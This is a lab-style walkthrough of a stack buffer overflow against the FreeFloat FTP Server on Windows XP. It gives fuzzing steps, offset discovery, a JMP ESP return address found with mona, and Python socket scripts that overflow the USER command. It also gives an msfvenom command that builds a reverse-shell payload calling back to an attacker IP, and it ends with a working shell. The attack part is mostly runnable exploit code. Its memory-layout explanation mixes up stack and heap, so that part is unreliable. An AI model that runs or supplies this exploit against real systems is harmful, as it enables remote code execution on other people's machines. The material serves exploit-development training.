Practical Buffer Overflow with FreeFloat FTP Server

Description

A walkthrough illustrating the methodology of the Buffer Overflow attack, focusing on the FreeFloat FTP Server.

Lab Setup

-Virtual box

-A windows XP machine

-Favourite Pentest Distro

-Favourite Code editor

Softwares and Tools

-Download or Install Immunity Debugger and the Free Float FTP server onto the Windows XP

-Download the mona.py file to Windows XP

-Need Metasploit and SPIKE tools on the Pentest box (Here, I won’t be using spike script but would manually exploit the application)

  • Note: Turn off the Windows Antivirus as the FTP server would get blocked by Windows Security

The Memory Anatomy

-> Kernel - Contains the command-line parameters that are passed to the programme or variables
-> Stack - Big area of memory where large objects like File, Images are stored
-> Heap - Holds the local variables for each of the functions
-> Data - Uninitialized and initialized variables are stored here
-> Text - Contains the actual code, it is a read-only area

The STACK

->So in stack, we have ESP at the top and EBP at the bottom. In between we have the buffer space.

-Buffer space will fill up with characters and it would write downwards towards EBP.

->So normally let’s say we have a bunch of A characters (AAAAAA…), the A characters would fill up the space in the buffer and stops at EBP (as long as we are sanitizing our buffer space), If not and we have characters that require more space than the existing buffer space, it will overwrite the EBP and gets to EIP.

->EIP is called a return address, so if we could control the EIP, we could point it towards whatever code we want. So if we direct it towards some malicious code that could return us a reverse shell, we have made a successful buffer overflow attack

Buffer Process

-> Spiking - finding a part of the program that is vulnerable
-> Fuzzing - Sending a bunch of characters to the program to break it
-> Finding Offset - Figuring out at which part we break it
-> Overwriting the EIP
-> Finding the module
-> Generate shellcode and get root access

Attack Walkthrough

-So, the Freefloat FTP Server is an application which is vulnerable to Buffer Overflow. We need to run both the Immunity Debugger and FTP server as an administrator.
-We can import the FTP Server to Immunity in two ways,

  • File > Open > FTP server
  • File > Attach > Attach the FTP server to Immunity.

-We can see that the application is Paused in Immunity (In the bottom right Corner). For testing the application it should be in Running mode.

-We can press the play button to run the Programme or press F9 on the keyboard.
Some Immunity Shortcuts to save our time.

  • Press f9 or Play button to start the server!
  • Ctrl + F2 to Restart the programme

1. Spiking and Fuzzing

-Spiking is used to find a part of a programme which is vulnerable to Buffer Overflow
-Start the programme in Immunity and Connect to the FTP server from the Attack box using NetCat

nc 192.168.1.56 21

-Spiking can be done in two ways, we can either manually provide a set of characters to the application and make it crash or use the generic_send_tcp command to break the programme.
-FTP allows a command USER, PASS and so on. So let’s try to add 1000 “A” characters to the USER command and see whether it crashes the programme. We can use Python to print 1000 characters and pass it to the FTP server.
-The application paused in the Immunity showing that the programme crashed. Let’s see how many characters it took before crashing it. To get the accurate total value of the buffer, we could subtract the ESP and EIP
-In the Registers, we could see the ESP and EIP values. We can see the “A” characters that we passed to the application. In the EIP we could see it is showing as 41414141 which states that EIP holds 4 bytes of characters.(41 is the hex value of “A”) Right-click the ESP value and select Follow in Dump
-In the bottom left box, we can see the “A” characters, Let’s note down the Address from which the character started till it crashed.
-We can see the characters started from 00B3FB3C and ended in 00B3FF0C
-Let’s try to subtract the value in Python to see the total number of characters
-To do that we need to add ‘0x’ in the beginning

python3 0x00B3FB3C - 0x00B3FF0C 

So a total lengths of 976 characters would crash the programme.

2. Finding Offset

-For finding the Offset we could use the pattern_create and pattern_offset tools of Metasploit
-So Offset is the part where the characters would start moving into the EIP
-First, let’s create random characters with 976 strings long using msf-pattern_create

msf-pattern_create -l 976

-Pass this string onto the application and note down the EIP value

  • Note- After each time the programme crashes, we need to restart it inside the immunity debugger using ctrl+F2 and the programme should be in Running mode. -The programme is crashed and the EIP value is 37684136 -Let’s find the offset value using msf-pattern_offset. We need to pass the character length used along with the EIP value in query
msf-pattern_offset -l 976 -q 37684136 

-We found the offset at 230

2. Overwriting the EIP

-Let’s overwrite and control the EIP. Now we know the total length is 976 and the offset is at 230. The EIP contains a total of 4 characters and it starts after the offset value.

-To figure out whether we can predict the EIP let’s fill in the character “A” till the offset value and the next 4 characters as “B” followed by “C” till the end of our total length Total Character length = 976 Offset = 230 (Filled by “A”)

-EIP length = 4 (Filled by “B”) Remaining Character length = 976-230-4 = 742 (Filled by “C”) Let’s pass it to the application and see whether we would get 42424242 as the EIP value (42 is the hex value of “B”) -The application crashed and we can see the EIP is overwritten by 42424242 (Character “B”).

3. Finding the Module

3.1 Setting up Mona

-We can use the Mona.py script for finding the right modules and files which could be useful for exploitation. For setting up Mona.py, we just need to copy the script to the below location

c:\\Program Files\\Immunity Inc\\Immunity Debugger\\PyCommands

-To invoke Mona just type !mona on the bottom space and press Enter

3.2 Back to Module selection

-When selecting a module, We are looking for a dll or similar which do not have any memory protection

-We can use Mona for this type the command on the white bar to see the list of available modules

!mona modules

-An ideal candidate for a module would be All False in the protection settings, but anything with an ASLR as False can be picked as a candidate

-We can see the ftpserver,exe has all False, but it donot have any JMP code so we can select the SHELL.dll as our module

3.3 JMP Opcode Equivalent

-Now that we selected the module for our attack, we now need to find the opcode equivalent of the jmp

-An opcode equivalent is the conversion of an assembly language to hex code.We are using the JMP ESP as a pointer to our malicious code

We can use msf-nasm_shell for this

msf-nasm_shell
JMP ESP

-Hex code for JMP ESP is FFE4
-Let’s find out which address of our SHELL32.dll can be used as our pointer
-Pass the JMP ESP hex code in mona

!mona find -s "\\xff\\xe4" -m SHELL32.dll

-Here, we are looking for the return addresses which have most False in memory protection, we can see the first one has writecopy and ASLR and REBASE as False. -Let’s use that
-Note down the return address - 0x7cbd41fb
-So, instead of the 4 “B” in the EIP we are placing our pointer so that the EIP would be the Jump code and the jump code would point to our malicious code -To place the pointer, Restart the programme (ctrl +f2) and click on the black arrow -> and enter our expression -Select the FFE4 and Press F2, click Yes and run the programme (F9)

3.4 Confirming Breakpoint

-Now that we set our breakpoint (7cbd41fb), let’s find out whether it works

-So we are gonna set our python script to tell immunity that on hitting this spot (the jump code) to break the programme, Pause it and wait for further instruction from us

-The script is below

#The return address we can ignore the 0x , so 7c bd 41 fb (4 characters). 
#When we are talking with x86 architecture, we need to use little Indian formatting 
#it stores the low order byte at the lowest address and high order at highest. On placing these 4 characters we should place them in reverse order 

#"\xfb\x41\xbd\x7c"
import sys
import socket
s=socket.socket()
s.connect(("192.168.1.56",21))

payload = b"USER "+b"A"*230 + b"\xfb\x41\xbd\x7c"
print(payload)
s.recv(1024)
s.send(payload+b"\r\n")
s.close()

-We can see immunty paused and we have hit our breakpoint (7cbd41fb) -Now we only need to generate a shell code and point to it

4. Shell Code

4.1 Finding Bad characters

-Before creating the shell code, we need to figure out which characters are good for the code and which all are bad. -We can find it by running all the hex characters through the program and how it parses out. -We are doing this because some characters may be used by the application for a particular function and we do not want to include it in our code, which would break it.

badchars = ("\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0b\\x0c\\x0e\\x0f\\x10" "\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x20" "\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30" "\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x3a\\x3b\\x3c\\x3d\\x3e\\x3f\\x40" "\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4a\\x4b\\x4c\\x4d\\x4e\\x4f\\x50" "\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5a\\x5b\\x5c\\x5d\\x5e\\x5f\\x60" "\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70" "\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7a\\x7b\\x7c\\x7d\\x7e\\x7f\\x80" "\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8d\\x8e\\x8f\\x90" "\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9d\\x9e\\x9f\\xa0" "\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8\\xa9\\xaa\\xab\\xac\\xad\\xae\\xaf\\xb0" "\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7\\xb8\\xb9\\xba\\xbb\\xbc\\xbd\\xbe\\xbf\\xc0" "\\xc1\\xc2\\xc3\\xc4\\xc5\\xc6\\xc7\\xc8\\xc9\\xca\\xcb\\xcc\\xcd\\xce\\xcf\\xd0" "\\xd1\\xd2\\xd3\\xd4\\xd5\\xd6\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf\\xe0" "\\xe1\\xe2\\xe3\\xe4\\xe5\\xe6\\xe7\\xe8\\xe9\\xea\\xeb\\xec\\xed\\xee\\xef\\xf0" "\\xf1\\xf2\\xf3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff")

-For this let’s use a Python script, to make our life easier!

#Change the IP address related to the windows machine

import sys
import socket
s=socket.socket()
s.connect(("192.168.1.51",21))
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10"
	"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
	"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
	"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
	"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
	"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
	"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
	"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
	"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
	"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
	"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
	"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
	"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
	"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
	"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
	"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
badchars_bytes = badchars.encode("utf-8")

byte_value = [b"USER ",b"A"*230,b"B"*4] 
byte_value.append(badchars_bytes)
 	
payload = b"".join(byte_value)

print(payload)
s.recv(1024)
s.send(payload+b"\r\n")
s.close()

-Upon running the script, we could see that the Immunity got paused, right-click the ESP and select follow in Dump.

-We would be able to see our payload and there is a difference after 09, we are seeing 2E which is not what we provided. -Now we know that 0xa is a bad character and shouldn’t be used in our payload. -Let’s remove that in our script and run it again -Again the programme will crash, right click on ESP value and select Follow in Dump. -We could see that the letters B and C are showing up but again we are seeing the 2E, let’s remove the 0xd which is a bad character and run it again. -Now we are able to see all the characters just like we intended. So the bad characters that we need to avoid are

0x0(which is always a bad character), 0xa,0xd  

4.1 Generating Shell code

-We can use msfvenom for this and create a reverse shell (victim us connecting back to us)

Msfvenom -p windows/shell\_reverse\_tcp LHOST = 192.168.1.49 LPORT = 1234 EXITFUNC=thread -f python -a x86 -b "\\X00\\x0a\\x0d"
-p = payload
LHOST = attack machine IP 
LPORT = listening port 
EXITFUNC = for stability 
-f = file type 
-a = architecture 
-b = bad characters   

-Amend our script with the payload

-We need to add padding of "/x90" character between our jump command and shell code, without this there is a chance that the attack won’t succeed.

-If we have limited space, we can limit the padding to 8 or 16 (play around and figure out the padding).

-So our final Payload format will be

b"USER "+b"A"*230 + b"\xfb\x41\xbd\x7c" +b"\x90"*20 + buf

Note - \\xfb\\x41\\xbd\\x7c - our pointer buf - Payload 

-The full python script is here -Let’s setup a netcat lister on port 1234 and run our script

  • Note - Close Immunity and run the FTP server as an application in the server

We got a reverse shell back